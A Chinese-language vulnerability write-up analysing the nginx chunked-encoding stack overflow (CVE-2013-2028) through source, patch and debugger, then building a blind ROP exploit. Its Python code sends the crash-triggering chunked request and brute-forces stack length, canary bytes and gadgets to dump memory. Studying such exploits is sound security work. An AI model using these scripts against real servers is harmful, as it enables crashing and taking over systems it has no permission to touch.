分析 + 運行環境: ubuntu x64 + centos
環境搭建: https://github.com/kitctf/nginxpwn
影響版本: nginx 1.3.9 - 1.4.0
主要以此來學習BROP: 可以不需要知道該應用程序的源代碼或者任何二進制代碼進行攻擊,類似SQL盲注。
基礎鋪墊
Nginx是一個輕量級的Web服務器,它還具有反向代理、電子郵件代理等功能,並且占內存小、並發強。
根據各模塊功能,可以將它歸納為如下幾種:

觀察Nginx源碼目錄以及各自的功能如下:
core: 核心代碼,包含一些數據結構
event: 事件驅動模型、定時器相關代碼
http: http server相關代碼
mail: mail代理服務器相關代碼
misc: 輔助代碼
os: 解決系統兼容性問題
Nginx中主要是以模塊為分類:
1、Handler模塊: 處理請求並產生輸出
2、Filter模塊: 處理Handler模塊中的輸出
3、Load-balancer模塊,負責挑選出負載均衡中的某一台服務器
舉例說明: 客戶端請求過來,nginx便是由各個Handler模塊處理http請求包,然后返回給客戶端的時候,便會使用Filter模塊對http響應包進行處理,包括其中響應頭以及響應內容
一個HTTP請求流量中包含了幾個點
1、請求包: 請求行、請求頭、包體
2、響應包: 響應頭、響應內容
Nginx接收HTTP數據並響應的整個過程如下: (/src/http/ngx_http_request.c)

1、解析請求行: ngx_http_process_request_line -> ngx_http_parse_request_line,將協議版本信息,url,請求方式等信息獲取
2、解析請求頭: ngx_http_process_request_headers -> ngx_http_parse_header_line
關於ngx_http_request_t數據結構,他是一個請求中最常用的結構,包括在upstream也是用它來描述的
typedef struct ngx_http_request_s ngx_http_request_t;
struct ngx_http_request_s {
... 省略
//ctx是自定義的上下文結構指針數組,若是HTTP框架,則存儲所有HTTP模塊上下文結構。其他的則是配置文件中的信息
void **ctx;
void **main_conf;
void **srv_conf;
void **loc_conf;
// 請求頭、響應頭
ngx_http_headers_in_t headers_in;
ngx_http_headers_out_t headers_out;
ngx_http_request_body_t *request_body;
// 下面是請求行解析后將會賦值到以下
ngx_uint_t method;
ngx_uint_t http_version;
ngx_str_t request_line;
ngx_str_t uri;
ngx_str_t args;
ngx_str_t exten;
ngx_str_t unparsed_uri;
... 省略
}
typedef struct {
ngx_list_t headers;
...省略
ngx_str_t server;
off_t content_length_n;
time_t keep_alive_n;
} ngx_http_headers_in_t;
typedef struct {
ngx_temp_file_t *temp_file;
ngx_chain_t *bufs;
ngx_buf_t *buf;
off_t rest;
off_t received;
ngx_chain_t *free;
ngx_chain_t *busy;
ngx_http_chunked_t *chunked;
ngx_http_client_body_handler_pt post_handler;
} ngx_http_request_body_t;
typedef struct ngx_http_chunked_s ngx_http_chunked_t;
struct ngx_http_chunked_s {
ngx_uint_t state;
off_t size;
off_t length;
};
漏洞分析
1、靜態分析
首先從patch來看
File: src/http/ngx_http_parse.c
data:
ctx->state = state;
b->pos = pos;
...省略
+ if (ctx->size < 0 || ctx->length < 0) {
+ goto invalid;
+ }
往上回溯尋找goto data調用的地方
ngx_int_t ngx_http_parse_chunked(ngx_http_request_t *r, ngx_buf_t *b,ngx_http_chunked_t *ctx){
...省略
state = ctx->state;
for (pos = b->pos; pos < b->last; pos++) {
switch (state) {
...省略
case sw_chunk_data:
rc = NGX_OK;
goto data;
}
}
}
繼續往上回溯尋找ngx_http_parse_chunked函數調用處,這里有兩處,我以ngx_http_discard_request_body_filter作為分析
/src/http/ngx_http_request_body.c
static ngx_int_t ngx_http_discard_request_body_filter(ngx_http_request_t *r, ngx_buf_t *b){
size_t size;
ngx_int_t rc;
ngx_http_request_body_t *rb;
if (r->headers_in.chunked) {
rb = r->request_body;
...省略
for ( ;; ) {
rc = ngx_http_parse_chunked(r, b, rb->chunked);
if (rc == NGX_OK) {
/* a chunk has been parsed successfully */
size = b->last - b->pos;
if ((off_t) size > rb->chunked->size) {
b->pos += rb->chunked->size;
rb->chunked->size = 0;
} else {
rb->chunked->size -= size;
b->pos = b->last;
}
continue;
}
if (rc == NGX_DONE) {
/* a whole response has been parsed successfully */
r->headers_in.content_length_n = 0;
break;
}
if (rc == NGX_AGAIN) {
/* set amount of data we want to see next time */
r->headers_in.content_length_n = rb->chunked->length;
break;
}
/* invalid */
ngx_log_error(NGX_LOG_ERR, r->connection->log, 0,
"client sent invalid chunked body");
return NGX_HTTP_BAD_REQUEST;
}
} else {
size = b->last - b->pos;
if ((off_t) size > r->headers_in.content_length_n) {
b->pos += r->headers_in.content_length_n;
r->headers_in.content_length_n = 0;
} else {
b->pos = b->last;
r->headers_in.content_length_n -= size;
}
}
return NGX_OK;
}
仔細發現這里面循環有一些rb->chunked->length、rb->chunked->size的操作
再往上回溯便是ngx_http_read_discarded_request_body
static ngx_int_t ngx_http_read_discarded_request_body(ngx_http_request_t *r){
size_t size;
ssize_t n;
ngx_int_t rc;
ngx_buf_t b;
u_char buffer[NGX_HTTP_DISCARD_BUFFER_SIZE];
...省略
for ( ;; ) {
...省略
size = (size_t) ngx_min(r->headers_in.content_length_n,
NGX_HTTP_DISCARD_BUFFER_SIZE);
n = r->connection->recv(r->connection, buffer, size);
...省略
rc = ngx_http_discard_request_body_filter(r, &b);
}
}
在這里面首先#define NGX_HTTP_DISCARD_BUFFER_SIZE 4096,存在一個buffer變量,其中長度最大為4096。
然后使用ngx_min宏: #define ngx_min(val1, val2) ((val1 > val2) ? (val2) : (val1)),看headers_in.content_length_n的大小是多少,如果小於4096的話將會把它的值給size。
接下來就是使用recv接收數據,這里要注意recv函數,如果buffer比size小的話,接收過多數據時候會導致棧溢出問題。
當然這里看起來沒問題,因為使用了ngx_min做了處理,但是要注意的是headers_in.content_length_n類型為off_t,也就是有符號的long型,如果他能夠為負數,再通過將它轉換為size_t類型,也就是無符號的unsigned int型,最終的數值會變得很大。
回到ngx_http_discard_request_body_filter上一個函數看r->headers_in.chunked條件中的NGX_AGAIN情況
if (rc == NGX_AGAIN) {
/* set amount of data we want to see next time */
r->headers_in.content_length_n = rb->chunked->length;
break;
}
如果NGX_AGAIN的話,r->headers_in.content_length_n的值將會被第二次的rb->chunked->length長度覆蓋掉
繼續往上找便是ngx_http_read_discarded_request_body -> ngx_http_discarded_request_body_handler -> ngx_http_discard_request_body
回顧上面nginx請求的流程,ngx_http_discard_request_body便是進行了丟棄http包體處理,它被多個modules進行調用,默認nginx安裝后,請求的是一個靜態資源,也就是/src/http/modules/ngx_http_static_module.c這個模塊進行處理
再往上回溯步驟較多,可以通過gdb可以看看這個過程是如何調用到的

2、動態調試
編譯安裝nginx
./configure --prefix=/opt/nginx/nginx1_3_9 --sbin-path=/opt/nginx/nginx1_3_9/sbin/nginx --conf-path=/opt/nginx/nginx1_3_9/conf/nginx.conf --with-http_stub_status_module --with-http_ssl_module
make && make install
# 測試配置是否通過
./nginx -t
./nginx
gdb調試
ps aux | grep nginx # 找到對應pid
gdb # 進行調試

attach 14561 # 依附worker process
stop
b ngx_http_init_connection
continue
p *(struct ngx_http_request_s*)0x6d2070

回過頭來看ngx_http_discard_request_body_filter函數,其中有一個條件是if (r->headers_in.chunked)
static ngx_int_t ngx_http_process_request_header(ngx_http_request_t *r){
...省略
if (r->headers_in.transfer_encoding) {
if (r->headers_in.transfer_encoding->value.len == 7
&& ngx_strncasecmp(r->headers_in.transfer_encoding->value.data,
(u_char *) "chunked", 7) == 0)
{
r->headers_in.content_length = NULL;
r->headers_in.content_length_n = -1;
r->headers_in.chunked = 1;
」
設置頭部為transfer-encoding: chunked,並且post一些數據才能進入ngx_http_parse_chunked
GET / HTTP/1.1
Host: love.lemon:6969
transfer-encoding: chunked
Content-Length: 7
616263
ngx_http_parse_chunked的開始state是sw_chunk_start,然后進入sw_chunk_size,也就是獲取post過來的chunked數據,數據是16進制編碼
case sw_chunk_size:
if (ch >= '0' && ch <= '9') {
ctx->size = ctx->size * 16 + (ch - '0');
break;
}
c = (u_char) (ch | 0x20);
if (c >= 'a' && c <= 'f') {
ctx->size = ctx->size * 16 + (c - 'a' + 10);
break;
}
最后ctx->size將會把值給ctx->length,這里要注意size和length都是off_t類型
case sw_chunk_size:
ctx->length = 2 /* LF LF */
+ (ctx->size ? ctx->size + 4 /* LF "0" LF LF */ : 0);

這個時候可以返回到漏洞觸發點處,r->headers_in.content_length_n將會等於rb->chunked->length,即headers_in.content_length_n的長度是被我們所控的,現在就是需要看傳入什么值才能夠為負數。
raw = '''GET / HTTP/1.1\r\nHost: %s\r\nTransfer-Encoding: chunked\r\nConnection: Keep-Alive\r\n\r\n''' % (host)
raw += 'f' * (1024 - len(raw) - 16)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('ip', port))
data1 = raw
data1 += "f0000000"
data1 += "00000060" + "\r\n"
s.send(data1)
s.send("B" * 6000)
s.close()
這個要注意的是,nginx第一次接受到Http請求的時候,其中會接受1024長度,如果超過了它,便會進入NGX_AGAIN,然后會revc后面的數據。

可以看到傳入f000000000000060的時候,便可以覆蓋了$rbp,最終nginx: worker process崩潰重啟。
這里注意的一點是,在Ubuntu 14.04下測試的時候發現,recv函數原型: recv(r, buf, len, xxx),其中len如果過大,會直接返回0xffffffff,導致buffer沒有被傳入的數據覆蓋。但是在centos下測試ok
Exploit構寫 - brop學習
終於到exp構寫了,首先查看一下程序的保護機制。

下面將一步步的學習一下brop,wooyun早已有mctrain前輩分享過原理
brop就是不需要源代碼、程序,並且繞過各種保護機制: NX、ASLR、PIE、Canary,有點類似SQL盲注,當然第一步是需要注入漏洞點是在何處。第二步就是,服務器進程在crash之后會重新復活,並且復活的進程不會被re-rand,這樣地址隨機化並不會改變,nginx符合這樣的情況,因為通常情況下nginx是存在一個master和多個worker,worker掛掉后便會重新啟動復活。
回顧一下通常情況下的pwn利用,在brop中我們也需要如此的尋找我們需要的值,其步驟如下:
- 判斷棧溢出長度
- 獲取canaries值
- 尋找gadgets,比如輸出函數write、puts等函數,當然還有控制他們的參數值
- exploit
這里要注意的是一個坑,要是想遠程打的話,還需要對tcp做處理,不然nginx要接收到溢出字符就得看人品了。為了復現漏洞,僅從本地開始復現
獲取棧溢出長度以及canary值
常見的棧布局如下:

1、獲取棧溢出長度,可以通過不斷的去填充緩沖區,當它破壞canary的時候就會出現crash
def get_stack_len(nginx):
result = []
for i in range(150):
print i,'th get_stack_len'
pad_data = 'c' * 8 * i
if nginx.send_data(pad_data) == False:
print 'Find It: ', i
result.append(i)
time.sleep(1)
return result
先按8位一組一組的找,找到大概區間,再為了精准找到字節

這里可以發現我們136(17 * 8)位出現了異常,后面則需要繼續一位一位的爆破
2、爆破canary值
爆破canary有點區別,它需要一個字節一個字節的爆破,並不是按8個一組直接來,流程圖如下:

def get_canary(nginx, stack_len):
result = []
for j in range(256):
tmp = ['c' * stack_len, p64(0), ]
log.info("%dth data find..." % j)
tmp.append(p8(j))
pad_data = flat(tmp)
if nginx.send_data(pad_data) == True:
print 'Find It: ', j
result.append(j)
break
time.sleep(1)
return result
尋找gadget
1、stop gadget: 當執行這段代碼的時候,不會造成crash,但程序會進入無限循環,這樣使得攻擊者能夠一直保持連接狀態。類似sleep,當想尋找其他gadget的時候,它將會給我們一些判斷尋找的gadget是否是正確的。
def get_hang_gadget(nginx):
begin_addr = TEXT_ADDR
while True:
print 'Log burst add: ', hex(begin_addr)
pad_data = flat(['a' * 120, p64(0), p64(0), p64(begin_addr)])
start = time.time()
print nginx.send_data(pad_data)
end = time.time()
if end - start > 3:
print 'Find it: ', hex(begin_addr)
break
sleep(0.2)
begin_addr += 1
得到一個0x404c02的hang gadget

2、尋找的gadget當然是需要有用的,比如pop rdi; ret,這里就需要使用stop gadget,如果是pop rdi; ret的話,它后面ret進入的是stop gadget,而如果是其他的gadget,那么在之前就不能被ret,也就無法進入sleep(stop gadget)

x64下一般是有通用的gadgets的,比如__libc_csu_init函數中,通常是pop_junk_rbx_rbp_r12_r13_r14_r15_ret,在此gaadgets上還有一個mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
也就是意味着很多寄存器可以控制,並且可以調用想要的函數
中間填充7個無效地址,用於pop數據,最后加入一個stop gadhet,通過不斷爆破地址,如果crash就表明不是,如果stop了則尋找到了。
其中結構圖如下:

def get_useful_gadget(nginx, hang_gadget):
begin_addr = 0x4AAA00
while True:
print 'Log burst add: ', hex(begin_addr)
data = 'a' * 120
data += p64(0) + p64(0)
data += p64(begin_addr) + p64(0) + p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
data += p64(hang_gadget)
start = time.time()
print nginx.send_data(data)
end = time.time()
if end - start > 3:
print 'Find it: ', hex(begin_addr)
break
sleep(0.2)
begin_addr += 1
為了節約點時間,將爆破起點調為0x4AAA00

可以得到0x4AAA8f這個地址,跟入看看是什么情況。

往下走的時候,可以看到0x4AAAa8處跳轉到了0x4AAAc6,也就是我們的目的地,對寄存器進行布局的地方。

由於0x4AAA8f地址是第一個爆破到的,因為這個是屬於Libc函數,它到目的地0x4AAAc6的距離是不變的。也就是如果接下來好幾個值都可以成功,那么通過0x4AAA8f + 55 = 0x4AAAc6。
dump內存 - write、puts
一般可以使用puts、write來讀取內存的值
一、puts函數
puts需要一個參數,其中是rdi的值。如果程序沒有開啟PIE,0x400000則是ELF頭部,也就是值為\x7fELF
二、write
write(int sock,void *buf,int len)
匯編代碼:
pop %rdi ret
pop %rsi ret
pop %rdx ret
call write ret
$rdi -> sock、%rsi -> buf、%rdx -> len
在回到IDA中查看,也可以找到此處(如果不是brop的話,可以找找csu_init函數,然后找到此處地址)

上面獲取的0x4AAAc6處,表明了可以控制rbx,rbp,r12,r13,r14,r15
0、0x4AAAB6出是mov edi, r13d,只能控制rdi的低32位
1、0x4AAAB3處是mov rsi, r14,也就說明rsi可控
2、0x4AAAB0處是mov rdx, r15,也就說明rdx可控
看起來也是很麻煩的,因為文件描述符的值是rdi控制的,而且這里是低32位,不過對於write已經足夠了。為了增加命中,1、可以同時打開多個連接,2、chain多個rop,每個rop的文件描述符不一樣
另外對於文件描述符還有一些特征,1、linux默認最多只能打開1024個,2、posix 標准每次申請的文件描述符數值總是當前最小可用數值,可以看到我當前的連接就是找到最小可用的3

這里結合優化后的csu是不行的,因為沒有pop,所以構造不了pop rdi;ret,0x4AAAB6地方的call調用也沒法用,因為需要一個got地址,如果是pop就很好處理,pop rdi;ret;,后面再放一個write的plt地址。
這里為了漏洞測試,暫時用got的write地址繼續。
def find_func(nginx, payload, hang_gadget):
data = 'a' * 120
data += p64(0) + p64(0)
data += payload
data += p64(hang_gadget)
start = time.time()
status = nginx.send_data(data)
end = time.time()
if end - start > 3:
return 0
if status:
return 1
else:
return -1
def csu(csu_end_addr, rbx, rbp, r12, r13, r14, r15, call_addr):
# rdi = edi = r13d
# rsi = r14
# rdx = r15
payload = ''
payload += p64(csu_end_addr)
# ??? add rsp, 38h
payload += p64(0)
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
####### mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
csu_front_addr = csu_end_addr - 0x16
payload += p64(csu_front_addr)
payload += p64(call_addr)
return payload
def find_write_func(nginx, csu_end_addr, hang_gadget):
#for i in range(50):
begin_addr = TEXT_ADDR
begin_addr = 0x404DB8
write_got = 0x6C73A8
#while True:
print 'th Log burst add: ', hex(begin_addr)
# addr , x, x, write, file_, buf, len
payload = csu(csu_end_addr, 0, 1, write_got, 3, 0x400000, 10, begin_addr)
if find_func(nginx, payload, hang_gadget) == 0:
print 'Find it: ',begin_addr
#begin_addr += 1
sleep(0.5)
把elf內容導出來

編譯的時候gcc優化了,pop rbx; pop rbp; pop r12被優化為mov形式,如果不優化的話,exp將好寫很多,因為pop操作是操作寄存器后還有ret,棧楨在之前就已經開辟了,這樣我們可以通過更變不同的參數來精准猜解這個位置。
Payload1 = 'a'*len + l64(addr-1)+l64(0)+l64(ret)
Payload2 = 'a'*len + l64(addr)+l64(0)+l64(ret)
Payload3 = 'a'*len + l64(addr+1) +l64(ret)

pop r15;ret字節碼為41 5f c3,后兩字節碼5f c3對應的匯編為pop rdi;ret,說明了rdi可控
另外5e也表示着pop rsi
rdx也可以通過調用strcmp函數,該函數調用會把字符串的長度賦值給%rdx,從而達到控制它。當然我覺得最方便的應該還是往上偏移找到mov rdx, r13的gadget。

三、尋找strcmp
如何尋找strcmp plt ?
PLT是一個跳轉表,大多數的PLT不會因為傳進的參數而crash,因為它們很多都是系統調用,都會對參數進行檢查,如果有錯誤會返回EFAULT而已,並不會造成進程crash。
它還有一個特征: 每一個項都是16個字節對齊,其中第0個字節開始的地址指向改項對應函數的fast path,而第6個字節開始的地址指向了該項對應函數的slow path
所以有一段連續的16個字節對齊的地址都不會造成進程crash,而且這些地址加6得到的地址也不會造成進程crash,這也就是進入了PLT中

int strcmp(const char *s1, const char *s2);
s1 -> rdi、 s2 -> rsi
可以通過以下的搭配特征來確認一個地址是否是strcmp plt
arg1 | arg2 | result
:--: | :--: | :--:
readable | 0x0 | crash
0x0 | readable | crash
0x0 | 0x0 | crash
readable | readable | nocrash
pwn
前面用csu的時候就差不多是把write地址也可以泄露出來,0x7f212f4617a0

后面便是dump內存進行pwn
Referer
【技術分享】BROP Attack之Nginx遠程代碼執行漏洞分析及利用
nginx security advisory (CVE-2013-2028)
